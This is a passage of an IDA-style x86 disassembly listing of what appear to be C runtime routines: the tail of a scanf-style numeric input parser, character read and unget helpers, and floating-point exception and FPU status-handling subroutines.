loc_420C47: ; CODE XREF: sub_420510+729j
; sub_420510+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
loc_420C55: ; CODE XREF: sub_420510+543j
mov [ebp+var_14], ebx
loc_420C58: ; CODE XREF: sub_420510+4FDj
; sub_420510+52Dj ...
cmp [ebp+var_30], 0
jz loc_420D71
cmp [ebp+var_F], 0
jnz loc_420D4F
loc_420C6C: ; CODE XREF: sub_420510+82Cj
cmp esi, 78h
jnz short loc_420CC0
cmp dword_43CBB4, 1
jle short loc_420C89
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420C96
; ---------------------------------------------------------------------------
loc_420C89: ; CODE XREF: sub_420510+768j
mov eax, off_43C9A8
mov al, [eax+ebx*2]
and eax, 80h
loc_420C96: ; CODE XREF: sub_420510+777j
test eax, eax
jz loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_423F90
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420D13
; ---------------------------------------------------------------------------
loc_420CC0: ; CODE XREF: sub_420510+75Fj
cmp dword_43CBB4, 1
jle short loc_420CD5
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420CE0
; ---------------------------------------------------------------------------
loc_420CD5: ; CODE XREF: sub_420510+7B7j
mov eax, off_43C9A8
mov al, [eax+ebx*2]
and eax, 4
loc_420CE0: ; CODE XREF: sub_420510+7C3j
test eax, eax
jz short loc_420D41
cmp esi, 6Fh
jnz short loc_420CFE
cmp ebx, 38h
jge short loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_423F90
jmp short loc_420D0D
; ---------------------------------------------------------------------------
loc_420CFE: ; CODE XREF: sub_420510+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41D280
loc_420D0D: ; CODE XREF: sub_420510+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_420D13: ; CODE XREF: sub_420510+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_420D2B
dec [ebp+var_C]
jz short loc_420D4F
loc_420D2B: ; CODE XREF: sub_420510+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420C6C
; ---------------------------------------------------------------------------
loc_420D41: ; CODE XREF: sub_420510+788j
; sub_420510+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420D4F: ; CODE XREF: sub_420510+756j
; sub_420510+819j
cmp [ebp+var_17], 0
jz loc_420E35
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_420E35
; ---------------------------------------------------------------------------
loc_420D71: ; CODE XREF: sub_420510+74Cj
cmp [ebp+var_F], 0
jnz loc_420E2D
loc_420D7B: ; CODE XREF: sub_420510+90Aj
cmp esi, 78h
jz short loc_420DBF
cmp esi, 70h
jz short loc_420DBF
cmp dword_43CBB4, 1
jle short loc_420D9A
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DA5
; ---------------------------------------------------------------------------
loc_420D9A: ; CODE XREF: sub_420510+87Cj
mov eax, off_43C9A8
mov al, [eax+ebx*2]
and eax, 4
loc_420DA5: ; CODE XREF: sub_420510+888j
test eax, eax
jz short loc_420E1F
cmp esi, 6Fh
jnz short loc_420DB8
cmp ebx, 38h
jge short loc_420E1F
shl edi, 3
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DB8: ; CODE XREF: sub_420510+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DBF: ; CODE XREF: sub_420510+86Ej
; sub_420510+873j
cmp dword_43CBB4, 1
jle short loc_420DD7
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DE4
; ---------------------------------------------------------------------------
loc_420DD7: ; CODE XREF: sub_420510+8B6j
mov eax, off_43C9A8
mov al, [eax+ebx*2]
and eax, 80h
loc_420DE4: ; CODE XREF: sub_420510+8C5j
test eax, eax
jz short loc_420E1F
push ebx
shl edi, 4
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420DF7: ; CODE XREF: sub_420510+8A6j
; sub_420510+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_420E09
dec [ebp+var_C]
jz short loc_420E2D
loc_420E09: ; CODE XREF: sub_420510+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420D7B
; ---------------------------------------------------------------------------
loc_420E1F: ; CODE XREF: sub_420510+897j
; sub_420510+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420E2D: ; CODE XREF: sub_420510+865j
; sub_420510+8F7j
cmp [ebp+var_17], 0
jz short loc_420E35
neg edi
loc_420E35: ; CODE XREF: sub_420510+843j
; sub_420510+85Cj ...
cmp esi, 46h
jnz short loc_420E3E
and [ebp+var_1C], 0
loc_420E3E: ; CODE XREF: sub_420510+928j
cmp [ebp+var_1C], 0
jz loc_420F16
cmp [ebp+var_E], 0
jnz short loc_420E77
inc [ebp+var_34]
loc_420E51: ; CODE XREF: sub_420510+23Bj
cmp [ebp+var_30], 0
jz short loc_420E67
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E67: ; CODE XREF: sub_420510+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_420E74
mov [eax], edi
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E74: ; CODE XREF: sub_420510+95Ej
mov [eax], di
loc_420E77: ; CODE XREF: sub_420510+241j
; sub_420510+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_420EC4
; ---------------------------------------------------------------------------
loc_420E82: ; CODE XREF: sub_420510+93j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_420EF1
mov ecx, off_43C9A8
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420EC4
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_420EFF
dec [ebp+var_4]
loc_420EC4: ; CODE XREF: sub_420510+970j
; sub_420510+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420EDA
cmp byte ptr [esi], 25h
jnz short loc_420F1C
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_420F1C
mov esi, eax
loc_420EDA: ; CODE XREF: sub_420510+9B8j
mov al, [esi]
test al, al
jnz loc_42053A
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EE6: ; CODE XREF: sub_420510+1F4j
; sub_420510+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_420EF6
; ---------------------------------------------------------------------------
loc_420EF1: ; CODE XREF: sub_420510+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_420EF6: ; CODE XREF: sub_420510+9DFj
call sub_420F86
pop ecx
pop ecx
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EFF: ; CODE XREF: sub_420510+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_420F86
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
add esp, 10h
loc_420F16: ; CODE XREF: sub_420510+1Fj
; sub_420510+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420F2D
loc_420F1C: ; CODE XREF: sub_420510+9BDj
; sub_420510+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_420F30
cmp [ebp+var_15], al
jnz short loc_420F30
or eax, 0FFFFFFFFh
jmp short loc_420F30
; ---------------------------------------------------------------------------
loc_420F2D: ; CODE XREF: sub_420510+A0Aj
mov eax, [ebp+var_34]
loc_420F30: ; CODE XREF: sub_420510+A11j
; sub_420510+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420510 endp
; =============== S U B R O U T I N E =======================================
sub_420F35 proc near ; CODE XREF: sub_420510+7A3p
; sub_420510+8DCp
arg_0 = dword ptr 4
cmp dword_43CBB4, 1
push esi
jle short loc_420F4F
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_420F5E
; ---------------------------------------------------------------------------
loc_420F4F: ; CODE XREF: sub_420F35+8j
mov esi, [esp+4+arg_0]
mov eax, off_43C9A8
mov al, [eax+esi*2]
and eax, 4
loc_420F5E: ; CODE XREF: sub_420F35+18j
test eax, eax
jnz short loc_420F68
and esi, 0FFFFFFDFh
sub esi, 7
loc_420F68: ; CODE XREF: sub_420F35+2Bj
mov eax, esi
pop esi
retn
sub_420F35 endp
; =============== S U B R O U T I N E =======================================
sub_420F6C proc near ; CODE XREF: sub_420510+1E1p
; sub_420510+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_420F7E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_420F7E: ; CODE XREF: sub_420F6C+7j
push edx
call sub_41F043
pop ecx
retn
sub_420F6C endp
; =============== S U B R O U T I N E =======================================
sub_420F86 proc near ; CODE XREF: sub_420510+6Bp
; sub_420510+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_420F9C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_423FAF
pop ecx
pop ecx
locret_420F9C: ; CODE XREF: sub_420F86+5j
retn
sub_420F86 endp
; =============== S U B R O U T I N E =======================================
sub_420F9D proc near ; CODE XREF: sub_420510+63p
; sub_420510+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_420FA3: ; CODE XREF: sub_420F9D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_420F6C
mov edi, eax
push edi
call sub_41D670
pop ecx
test eax, eax
pop ecx
jnz short loc_420FA3
mov eax, edi
pop edi
pop esi
retn
sub_420F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_420FC1(int,int,double,int)
sub_420FC1 proc near ; CODE XREF: sub_41C679+51p
; sub_41C7BF+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43D320, 0
jnz short loc_420FF6
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421576
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420FC1+Aj
push 0FFFFh
mov dword_4DB928, 21h
push [ebp+arg_C]
call sub_4217E9
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_420FC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421014(int,int,double,double,int)
sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp
; sub_41C7BF:loc_41C882p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_42135F
add esp, 0Ch
test eax, eax
jnz short loc_421052
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_4210AC
add esp, 18h
loc_421052: ; CODE XREF: sub_421014+1Aj
push [ebp+arg_0]
call sub_421649
cmp dword_43D320, 0
pop ecx
jnz short loc_421090
test eax, eax
jz short loc_421090
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421576
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421090: ; CODE XREF: sub_421014+4Ej
; sub_421014+52j
push eax
call sub_4215FE
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_4217E9
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_421014 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4210AC proc near ; CODE XREF: sub_421014+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_4210DE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_4210DE: ; CODE XREF: sub_4210AC+23j
test cl, 2
jz short loc_4210F1
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_4210F1: ; CODE XREF: sub_4210AC+35j
test cl, bl
jz short loc_421103
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_421103: ; CODE XREF: sub_4210AC+47j
test cl, 4
jz short loc_421116
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_421116: ; CODE XREF: sub_4210AC+5Aj
test cl, 8
jz short loc_421129
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_421129: ; CODE XREF: sub_4210AC+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_4217CC
test al, bl
jz short loc_4211B2
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4211B2: ; CODE XREF: sub_4210AC+FDj
test al, 4
jz short loc_4211BD
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4211BD: ; CODE XREF: sub_4210AC+108j
test al, 8
jz short loc_4211C8
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_4211C8: ; CODE XREF: sub_4210AC+113j
test al, 10h
jz short loc_4211D2
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_4211D2: ; CODE XREF: sub_4210AC+11Ej
test al, 20h
jz short loc_4211DC
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4211DC: ; CODE XREF: sub_4210AC+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_42121B
cmp eax, 400h
jz short loc_42120D
cmp eax, 800h
jz short loc_421201
cmp eax, ecx
jnz short loc_421221
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_421201: ; CODE XREF: sub_4210AC+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421217
; ---------------------------------------------------------------------------
loc_42120D: ; CODE XREF: sub_4210AC+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421217: ; CODE XREF: sub_4210AC+15Fj
mov [eax], ecx
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_42121B: ; CODE XREF: sub_4210AC+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421221: ; CODE XREF: sub_4210AC+14Bj
; sub_4210AC+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_42124C
cmp eax, 200h
jz short loc_42123F
cmp eax, ecx
jnz short loc_421259
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421259
; ---------------------------------------------------------------------------
loc_42123F: ; CODE XREF: sub_4210AC+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421257
; ---------------------------------------------------------------------------
loc_42124C: ; CODE XREF: sub_4210AC+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421257: ; CODE XREF: sub_4210AC+19Ej
mov [eax], ecx
loc_421259: ; CODE XREF: sub_4210AC+189j
; sub_4210AC+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_4217DA
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
nop
call near ptr 2800000h
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_4212D3
and dword ptr [esi], 0FFFFFFFEh
loc_4212D3: ; CODE XREF: sub_4210AC+222j
test byte ptr [eax+8], 8
jz short loc_4212DC
and dword ptr [esi], 0FFFFFFFBh
loc_4212DC: ; CODE XREF: sub_4210AC+22Bj
test byte ptr [eax+8], 4
jz short loc_4212E5
and dword ptr [esi], 0FFFFFFF7h
loc_4212E5: ; CODE XREF: sub_4210AC+234j
test byte ptr [eax+8], 2
jz short loc_4212EE
and dword ptr [esi], 0FFFFFFEFh
loc_4212EE: ; CODE XREF: sub_4210AC+23Dj
test [eax+8], bl
jz short loc_4212F6
and dword ptr [esi], 0FFFFFFDFh
loc_4212F6: ; CODE XREF: sub_4210AC+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_42132A
dec ecx
jz short loc_42131E
dec ecx
jz short loc_421314
dec ecx
jnz short loc_42132C
or byte ptr [esi+1], 0Ch
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_421314: ; CODE XREF: sub_4210AC+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421326
; ---------------------------------------------------------------------------
loc_42131E: ; CODE XREF: sub_4210AC+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421326: ; CODE XREF: sub_4210AC+270j
mov [esi], ecx
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_42132A: ; CODE XREF: sub_4210AC+257j
and [esi], edx
loc_42132C: ; CODE XREF: sub_4210AC+260j
; sub_4210AC+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_42134C
dec ecx
jz short loc_421343
dec ecx
jnz short loc_421355
and [esi], edx
jmp short loc_421355
; ---------------------------------------------------------------------------
loc_421343: ; CODE XREF: sub_4210AC+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421353
; ---------------------------------------------------------------------------
loc_42134C: ; CODE XREF: sub_4210AC+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421353: ; CODE XREF: sub_4210AC+29Ej
mov [esi], ecx
loc_421355: ; CODE XREF: sub_4210AC+291j
; sub_4210AC+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4210AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42135F proc near ; CODE XREF: sub_421014+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_42138A
test byte ptr [ebp+arg_8], bl
jz short loc_42138A
push ebx
call sub_42180C
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42138A: ; CODE XREF: sub_42135F+15j
; sub_42135F+1Aj
test al, 4
jz short loc_4213A4
test byte ptr [ebp+arg_8], 4
jz short loc_4213A4
push 4
call sub_42180C
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_4213A4: ; CODE XREF: sub_42135F+2Dj
; sub_42135F+33j
test al, bl
jz loc_42147E
test byte ptr [ebp+arg_8], 8
jz loc_42147E
push 8
call sub_42180C
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421456
cmp ecx, 400h
jz short loc_42142E
cmp ecx, 800h
jz short loc_421406
cmp ecx, eax
jnz loc_421476
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fld dbl_43CF20
fnstsw ax
sahf
ja short loc_4213FE
fchs
loc_4213FE: ; CODE XREF: sub_42135F+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421406: ; CODE XREF: sub_42135F+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fnstsw ax
sahf
jbe short loc_42141E
fld dbl_43CF10
jmp short loc_421426
; ---------------------------------------------------------------------------
loc_42141E: ; CODE XREF: sub_42135F+B5j
fld dbl_43CF20
fchs
loc_421426: ; CODE XREF: sub_42135F+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_42142E: ; CODE XREF: sub_42135F+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fnstsw ax
sahf
jbe short loc_421446
fld dbl_43CF20
jmp short loc_42144E
; ---------------------------------------------------------------------------
loc_421446: ; CODE XREF: sub_42135F+DDj
fld dbl_43CF10
fchs
loc_42144E: ; CODE XREF: sub_42135F+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421456: ; CODE XREF: sub_42135F+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fld dbl_43CF10
fnstsw ax
sahf
ja short loc_42146E
fchs
loc_42146E: ; CODE XREF: sub_42135F+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421474: ; CODE XREF: sub_42135F+A5j
; sub_42135F+CDj ...
fstp qword ptr [ecx]
loc_421476: ; CODE XREF: sub_42135F+81j
and edi, 0FFFFFFFEh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42147E: ; CODE XREF: sub_42135F+47j
; sub_42135F+51j
test al, 2
jz loc_421554
test byte ptr [ebp+arg_8], 10h
jz loc_421554
push esi
xor esi, esi
test al, 10h
jz short loc_421499
mov esi, ebx
loc_421499: ; CODE XREF: sub_42135F+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427880
fnstsw ax
sahf
jz loc_421542
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_42170B
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_4214E4
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421538
; ---------------------------------------------------------------------------
loc_4214E4: ; CODE XREF: sub_42135F+17Aj
fld [ebp+var_C]
fcomp dbl_427880
fnstsw ax
sahf
jnb short loc_4214F6
mov edx, ebx
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214F6: ; CODE XREF: sub_42135F+191j
xor edx, edx
loc_4214F8: ; CODE XREF: sub_42135F+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_42152C
sub eax, ecx
loc_42150F: ; CODE XREF: sub_42135F+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_42151A
test esi, esi
jnz short loc_42151A
mov esi, ebx
loc_42151A: ; CODE XREF: sub_42135F+1B3j
; sub_42135F+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421526
or byte ptr [ebp+var_C+3], 80h
loc_421526: ; CODE XREF: sub_42135F+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_42150F
loc_42152C: ; CODE XREF: sub_42135F+1ACj
test edx, edx
jz short loc_421538
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421538: ; CODE XREF: sub_42135F+183j
; sub_42135F+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421544
; ---------------------------------------------------------------------------
loc_421542: ; CODE XREF: sub_42135F+14Ej
mov esi, ebx
loc_421544: ; CODE XREF: sub_42135F+1E1j
test esi, esi
pop esi
jz short loc_421551
push 10h
call sub_42180C
pop ecx
loc_421551: ; CODE XREF: sub_42135F+1E8j
and edi, 0FFFFFFFDh
loc_421554: ; CODE XREF: sub_42135F+26j
; sub_42135F+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_42156B
test byte ptr [ebp+arg_8], 20h
jz short loc_42156B
push 20h
call sub_42180C
pop ecx
and edi, 0FFFFFFEFh
loc_42156B: ; CODE XREF: sub_42135F+1F9j
; sub_42135F+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_42135F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421576(int,int,int,int,int,int,double,int)
sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp
; sub_421014+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421624
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_4215E1
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
